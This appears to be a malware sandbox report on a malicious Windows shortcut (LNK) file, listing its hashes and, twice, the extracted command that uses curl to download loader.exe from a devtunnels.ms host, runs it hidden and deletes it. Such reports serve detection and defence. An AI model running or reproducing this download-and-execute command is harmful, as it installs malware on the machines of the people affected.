Malicious
Malicious

6d5c12b0a083f3ca5be7a37c41768bb6

LNK File
|
MD5: 6d5c12b0a083f3ca5be7a37c41768bb6
|
Size: 1.66 KB
|
application/x-ms-shortcut

Infection Chain
Summary by MalvaGPT
Characteristics
Hash
 Hash Value
MD5
6d5c12b0a083f3ca5be7a37c41768bb6
Sha1
9afdf9595b62e23a9822b5a29c3762d22945c46b
Sha256
c880eb64e7ffc7b6b75a4bd994ca8c0c98943ffd77ddfd918e2851d7a61887dd
Sha384
38e7c767018c6b19e5bb4f6bf375bf3a72843a60a8131fdf7ac54c24e5ed00df072e944ffb22fd288f88d8cfd7810f11
Sha512
d61e9d77ffeb4d4b21d054f69806c8f7440ca32d2d3bcf424c2672706f64050d6284b24bb28656a519fb4a3c6cb1c72581feaf6a94797e01407a5912c4ab1716
SSDeep
24:8VOJI5UmtJ1TAY8PA+/2PyJi5VFfa4A+U/FIP4I0aA3yUUXQaR3+9h/LnU+Y+/vm:8R+1vJi5iNxfIPzXv3WzU+Yk
TLSH
D631A2556FDA0339D2B2CA3B54F5E3424B33B950E9738F5D4280D29C2C55600E836F6B
File Structure
6d5c12b0a083f3ca5be7a37c41768bb6
Malicious
[Lnk Summary]
Malicious
Artefacts
Name
 Value
LNK: Command Execution

cmd.exe /c "curl -s -L -o %TEMP%\loader.exe https://gl1g7tts-5500.euw.devtunnels.ms/64/loader.exe && start /min cmd /c "%TEMP%\loader.exe & del %TEMP%\loader.exe""
6d5c12b0a083f3ca5be7a37c41768bb6 (1.66 KB)
File Structure
6d5c12b0a083f3ca5be7a37c41768bb6
Malicious
[Lnk Summary]
Malicious
Characteristics
No malware configuration were found at this point.
Artefacts
Name
 Value Location
LNK: Command Execution

cmd.exe /c "curl -s -L -o %TEMP%\loader.exe https://gl1g7tts-5500.euw.devtunnels.ms/64/loader.exe && start /min cmd /c "%TEMP%\loader.exe & del %TEMP%\loader.exe""

Malicious

6d5c12b0a083f3ca5be7a37c41768bb6
You must be signed in to post a comment.
An error has occurred. This application may no longer respond until reloaded. Reload 🗙